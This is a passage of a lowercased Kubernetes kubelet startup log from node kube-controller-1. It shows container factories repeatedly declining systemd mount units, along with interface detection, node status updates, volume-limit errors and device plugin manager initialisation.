handle container \ /system.slice/data.mount\ \r i0411 14:25:34.561580     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/data.mount\ , but ignoring.\r i0411 14:25:34.561592     770 manager.go:1005  ignoring container \ /system.slice/data.mount\ \r i0411 14:25:34.561602     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.561611     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.561634     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug-tracing.mount\ , but ignoring.\r i0411 14:25:34.561643     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.561648     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.561653     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.561660     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug.mount\ , but ignoring.\r i0411 14:25:34.561667     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.561672     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.561677     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.561683     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/run-user-500.mount\ , but ignoring.\r i0411 14:25:34.561690     770 manager.go:1005  ignoring container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.561694     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.561699     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.561705     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-mqueue.mount\ , but ignoring.\r i0411 14:25:34.561712     770 manager.go:1005  ignoring container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.561778     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.561794     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.561802     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/-.mount\ , but ignoring.\r i0411 14:25:34.561811     770 manager.go:1005  ignoring container \ /system.slice/-.mount\ \r i0411 14:25:34.561829     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.561834     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.561840     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/data.mount\ , but ignoring.\r i0411 14:25:34.561847     770 manager.go:1005  ignoring container \ /system.slice/data.mount\ \r i0411 14:25:34.561854     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.561859     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.561868     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-hugepages.mount\ , but ignoring.\r i0411 14:25:34.561879     770 manager.go:1005  ignoring container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.561888     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.561897     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.561907     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-mqueue.mount\ , but ignoring.\r i0411 14:25:34.561920     770 manager.go:1005  ignoring container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.561950     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.561957     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.561963     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/run-user-500.mount\ , but ignoring.\r i0411 14:25:34.561977     770 manager.go:1005  ignoring container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.561986     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.561991     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562008     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-fs-fuse-connections.mount\ , but ignoring.\r i0411 14:25:34.562021     770 manager.go:1005  ignoring container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562034     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562044     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562055     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug-tracing.mount\ , but ignoring.\r i0411 14:25:34.562064     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562071     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562076     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562082     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug.mount\ , but ignoring.\r i0411 14:25:34.562090     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562111     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.562116     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.562122     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/-.mount\ , but ignoring.\r i0411 14:25:34.562129     770 manager.go:1005  ignoring container \ /system.slice/-.mount\ \r i0411 14:25:34.562135     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.562140     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.562146     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/data.mount\ , but ignoring.\r i0411 14:25:34.562153     770 manager.go:1005  ignoring container \ /system.slice/data.mount\ \r i0411 14:25:34.562158     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562163     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562169     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-hugepages.mount\ , but ignoring.\r i0411 14:25:34.562177     770 manager.go:1005  ignoring container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562182     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562187     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562193     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-mqueue.mount\ , but ignoring.\r i0411 14:25:34.562200     770 manager.go:1005  ignoring container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562206     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562212     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562218     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/run-user-500.mount\ , but ignoring.\r i0411 14:25:34.562229     770 manager.go:1005  ignoring container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562235     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562241     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562253     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-fs-fuse-connections.mount\ , but ignoring.\r i0411 14:25:34.562266     770 manager.go:1005  ignoring container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562283     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562293     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562303     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug-tracing.mount\ , but ignoring.\r i0411 14:25:34.562316     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562325     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562335     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562345     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug.mount\ , but ignoring.\r i0411 14:25:34.562357     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562366     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.562375     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.562385     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/-.mount\ , but ignoring.\r i0411 14:25:34.562396     770 manager.go:1005  ignoring container \ /system.slice/-.mount\ \r i0411 14:25:34.562405     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.562412     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.562422     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/data.mount\ , but ignoring.\r i0411 14:25:34.562433     770 manager.go:1005  ignoring container \ /system.slice/data.mount\ \r i0411 14:25:34.562442     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562451     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562458     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-hugepages.mount\ , but ignoring.\r i0411 14:25:34.562466     770 manager.go:1005  ignoring container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562471     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562476     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562483     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-mqueue.mount\ , but ignoring.\r i0411 14:25:34.562490     770 manager.go:1005  ignoring container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562502     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562508     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562520     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/run-user-500.mount\ , but ignoring.\r i0411 14:25:34.562575     770 manager.go:1005  ignoring container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562591     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562597     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562603     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-fs-fuse-connections.mount\ , but ignoring.\r i0411 14:25:34.562610     770 manager.go:1005  ignoring container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562616     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562621     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562629     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug-tracing.mount\ , but ignoring.\r i0411 14:25:34.562637     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562642     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562647     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562653     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug.mount\ , but ignoring.\r i0411 14:25:34.562660     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562665     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.562670     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.562676     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/-.mount\ , but ignoring.\r i0411 14:25:34.562683     770 manager.go:1005  ignoring container \ /system.slice/-.mount\ \r i0411 14:25:34.562688     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.562693     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.562698     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/data.mount\ , but ignoring.\r i0411 14:25:34.562705     770 manager.go:1005  ignoring container \ /system.slice/data.mount\ \r i0411 14:25:34.562710     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562715     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562725     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-hugepages.mount\ , but ignoring.\r i0411 14:25:34.562732     770 manager.go:1005  ignoring container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562737     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562742     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562748     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-mqueue.mount\ , but ignoring.\r i0411 14:25:34.562755     770 manager.go:1005  ignoring container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562759     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562765     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562770     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/run-user-500.mount\ , but ignoring.\r i0411 14:25:34.562779     770 manager.go:1005  ignoring container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562787     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562800     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562809     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-fs-fuse-connections.mount\ , but ignoring.\r i0411 14:25:34.562818     770 manager.go:1005  ignoring container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562823     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562829     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562835     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug-tracing.mount\ , but ignoring.\r i0411 14:25:34.562844     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.562850     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562855     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562861     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug.mount\ , but ignoring.\r i0411 14:25:34.562868     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.562873     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.562878     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.562883     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/-.mount\ , but ignoring.\r i0411 14:25:34.562890     770 manager.go:1005  ignoring container \ /system.slice/-.mount\ \r i0411 14:25:34.562895     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.562900     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.562905     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/data.mount\ , but ignoring.\r i0411 14:25:34.562912     770 manager.go:1005  ignoring container \ /system.slice/data.mount\ \r i0411 14:25:34.562917     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562923     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562929     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-hugepages.mount\ , but ignoring.\r i0411 14:25:34.562935     770 manager.go:1005  ignoring container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.562940     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562945     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562951     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-mqueue.mount\ , but ignoring.\r i0411 14:25:34.562958     770 manager.go:1005  ignoring container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.562963     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562968     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562974     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/run-user-500.mount\ , but ignoring.\r i0411 14:25:34.562981     770 manager.go:1005  ignoring container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.562986     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.562995     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.563006     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-fs-fuse-connections.mount\ , but ignoring.\r i0411 14:25:34.563293     770 manager.go:1005  ignoring container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.563312     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.563323     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.563334     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug-tracing.mount\ , but ignoring.\r i0411 14:25:34.563329     770 kubelet_node_status.go:283  setting node annotation to enable volume controller attach/detach\r i0411 14:25:34.563348     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.563353     770 kubelet_node_status.go:500  setting node status at position 0\r i0411 14:25:34.563367     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.563376     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.563386     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug.mount\ , but ignoring.\r i0411 14:25:34.563398     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.563637     770 interface.go:384  looking for default routes with ipv4 addresses\r i0411 14:25:34.563648     770 interface.go:389  default route transits interface \ eth0\ \r i0411 14:25:34.563757     770 interface.go:196  interface eth0 is up\r i0411 14:25:34.563791     770 interface.go:244  interface \ eth0\  has 1 addresses : 10.0.64.6/18 .\r i0411 14:25:34.563836     770 interface.go:211  checking addr  10.0.64.6/18.\r i0411 14:25:34.563845     770 interface.go:218  ip found 10.0.64.6\r i0411 14:25:34.563852     770 interface.go:250  found valid ipv4 address 10.0.64.6 for interface \ eth0\ .\r i0411 14:25:34.563864     770 interface.go:395  found active ip 10.0.64.6 \r i0411 14:25:34.563871     770 kubelet_node_status.go:500  setting node status at position 1\r i0411 14:25:34.563902     770 kubelet_node_status.go:500  setting node status at position 2\r i0411 14:25:34.566238     770 kubelet_node_status.go:500  setting node status at position 3\r i0411 14:25:34.566255     770 kubelet_node_status.go:500  setting node status at position 4\r i0411 14:25:34.566266     770 kubelet_node_status.go:500  setting node status at position 5\r i0411 14:25:34.566270     770 kubelet_node_status.go:500  setting node status at position 6\r i0411 14:25:34.566340     770 setters.go:739  error getting volume limit for plugin kubernetes.io/cinder\r i0411 14:25:34.566348     770 setters.go:739  error getting volume limit for plugin kubernetes.io/aws-ebs\r i0411 14:25:34.566356     770 setters.go:739  error getting volume limit for plugin kubernetes.io/azure-disk\r i0411 14:25:34.566361     770 setters.go:739  error getting volume limit for plugin kubernetes.io/gce-pd\r i0411 14:25:34.566366     770 kubelet_node_status.go:500  setting node status at position 7\r i0411 14:25:34.566374     770 kubelet_node_status.go:468  recording nodehassufficientmemory event message for node kube-controller-1\r i0411 14:25:34.566404     770 kubelet_node_status.go:500  setting node status at position 8\r i0411 14:25:34.566411     770 kubelet_node_status.go:468  recording nodehasnodiskpressure event message for node kube-controller-1\r i0411 14:25:34.566421     770 kubelet_node_status.go:500  setting node status at position 9\r i0411 14:25:34.566426     770 kubelet_node_status.go:468  recording nodehassufficientpid event message for node kube-controller-1\r i0411 14:25:34.566435     770 kubelet_node_status.go:500  setting node status at position 10\r i0411 14:25:34.566446     770 event.go:209  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ kube-controller-1\ , uid:\ kube-controller-1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehassufficientmemory' node kube-controller-1 status is now: nodehassufficientmemory\r i0411 14:25:34.566462     770 kubelet_node_status.go:500  setting node status at position 11\r i0411 14:25:34.566473     770 kubelet_node_status.go:500  setting node status at position 12\r i0411 14:25:34.566482     770 kubelet_node_status.go:500  setting node status at position 13\r i0411 14:25:34.566472     770 event.go:209  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ kube-controller-1\ , uid:\ kube-controller-1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehassufficientpid' node kube-controller-1 status is now: nodehassufficientpid\r i0411 14:25:34.566501     770 cpu_manager.go:155   cpumanager  starting with none policy\r i0411 14:25:34.566501     770 event.go:209  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ kube-controller-1\ , uid:\ kube-controller-1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehasnodiskpressure' node kube-controller-1 status is now: nodehasnodiskpressure\r i0411 14:25:34.566506     770 cpu_manager.go:156   cpumanager  reconciling every 10s\r i0411 14:25:34.566517     770 policy_none.go:42   cpumanager  none policy: start\r i0411 14:25:34.567170     770 node_container_manager_linux.go:68  attempting to enforce node allocatable with config: {kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.05} graceperiod:0s minreclaim:<nil>} {signal:imagefs.available operator:lessthan value:{quantity:<nil> percentage:0.15} graceperiod:0s minreclaim:<nil>} }\r i0411 14:25:34.567245     770 manager.go:196  starting device plugin manager\r w0411 14:25:34.567268     770 manager.go:538  failed to retrieve checkpoint for \ kubelet_internal_checkpoint\ : checkpoint is not found\r i0411 14:25:34.567314     770 container_manager_linux.go:670  init pid ns is \ pid: 4026531836 \ \r i0411 14:25:34.567319     770 container_manager_linux.go:442   containermanager : adding periodic tasks for docker cri integration\r i0411 14:25:34.567341     770 container_manager_linux.go:675  pid 770 pid ns is \ pid: 4026531836 \ \r i0411 14:25:34.567382     770 manager.go:231  serving device plugin registration server on \ /var/lib/kubelet/device-plugins/kubelet.sock\ \r w0411 14:25:34.567405     770 container_manager_linux.go:818  cpuaccounting not enabled for pid: 770\r i0411 14:25:34.567441     770 eviction_manager.go:230  eviction manager: synchronize housekeeping\r w0411 14:25:34.567445     770 container_manager_linux.go:821  memoryaccounting not enabled for pid: 770\r i0411 14:25:34.567377     770 event.go:209  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ kube-controller-1\ , uid:\ kube-controller-1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodeallocatableenforced' updated node allocatable limit across pods\r i0411 14:25:34.567418     770 manager.go:242  created deprecation file /var/lib/kubelet/device-plugins/deprecation\r i0411 14:25:34.567486     770 kubelet_node_status.go:283  setting node annotation to enable volume controller attach/detach\r i0411 14:25:34.567493     770 kubelet_node_status.go:500  setting node status at position 0\r i0411 14:25:34.567488     770 kubelet.go:1373  starting watcher\r i0411 14:25:34.567508     770 plugin_watcher.go:90  plugin watcher start at /var/lib/kubelet/plugins_registry\r i0411 14:25:34.567519     770 plugin_watcher.go:181  ensuring plugin directory at /var/lib/kubelet/plugins_registry \r i0411 14:25:34.567428     770 container_manager_linux.go:448   containermanager : discovered runtime cgroups name: /lib/systemd/system/kubelet.service\r i0411 14:25:34.567626     770 qos_container_manager_linux.go:334   containermanager : updated qos cgroup configuration\r i0411 14:25:34.567629     770 interface.go:384  looking for default routes with ipv4 addresses\r i0411 14:25:34.567638     770 interface.go:389  default route transits interface \ eth0\ \r i0411 14:25:34.567715     770 interface.go:196  interface eth0 is up\r i0411 14:25:34.567745     770 interface.go:244  interface \ eth0\  has 1 addresses : 10.0.64.6/18 .\r i0411 14:25:34.567757     770 interface.go:211  checking addr  10.0.64.6/18.\r i0411 14:25:34.567765     770 interface.go:218  ip found 10.0.64.6\r i0411 14:25:34.567771     770 interface.go:250  found valid ipv4 address 10.0.64.6 for interface \ eth0\ .\r i0411 14:25:34.567776     770 interface.go:395  found active ip 10.0.64.6 \r i0411 14:25:34.567781     770 kubelet_node_status.go:500  setting node status at position 1\r i0411 14:25:34.567800     770 kubelet_node_status.go:500  setting node status at position 2\r i0411 14:25:34.569226     770 kubelet_node_status.go:500  setting node status at position 3\r i0411 14:25:34.569236     770 kubelet_node_status.go:500  setting node status at position 4\r i0411 14:25:34.569244     770 kubelet_node_status.go:500  setting node status at position 5\r i0411 14:25:34.569248     770 kubelet_node_status.go:500  setting node status at position 6\r i0411 14:25:34.569268     770 setters.go:739  error getting volume limit for plugin kubernetes.io/aws-ebs\r i0411 14:25:34.569274     770 setters.go:739  error getting volume limit for plugin kubernetes.io/azure-disk\r i0411 14:25:34.569279     770 setters.go:739  error getting volume limit for plugin kubernetes.io/gce-pd\r i0411 14:25:34.569287     770 setters.go:739  error getting volume limit for plugin kubernetes.io/cinder\r i0411 14:25:34.569291     770 kubelet_node_status.go:500  setting node status at position 7\r i0411 14:25:34.569296     770 kubelet_node_status.go:468  recording nodehassufficientmemory event message for node kube-controller-1\r i0411 14:25:34.569313     770 kubelet_node_status.go:500  setting node status at position 8\r i0411 14:25:34.569319     770 kubelet_node_status.go:468  recording nodehasnodiskpressure event message for node kube-controller-1\r i0411 14:25:34.569328     770 kubelet_node_status.go:500  setting node status at position 9\r i0411 14:25:34.569333     770 kubelet_node_status.go:468  recording nodehassufficientpid event message for node kube-controller-1\r i0411 14:25:34.569341     770 kubelet_node_status.go:500  setting node status at position 10\r i0411 14:25:34.569352     770 kubelet_node_status.go:500  setting node status at position 11\r i0411 14:25:34.569356     770 kubelet_node_status.go:500  setting node status at position 12\r i0411 14:25:34.569361     770 kubelet_node_status.go:500  setting node status at position 13\r i0411 14:25:34.569408     770 event.go:209  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ kube-controller-1\ , uid:\ kube-controller-1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehasnodiskpressure' node kube-controller-1 status is now: nodehasnodiskpressure\r i0411 14:25:34.569477     770 event.go:209  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ kube-controller-1\ , uid:\ kube-controller-1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehassufficientmemory' node 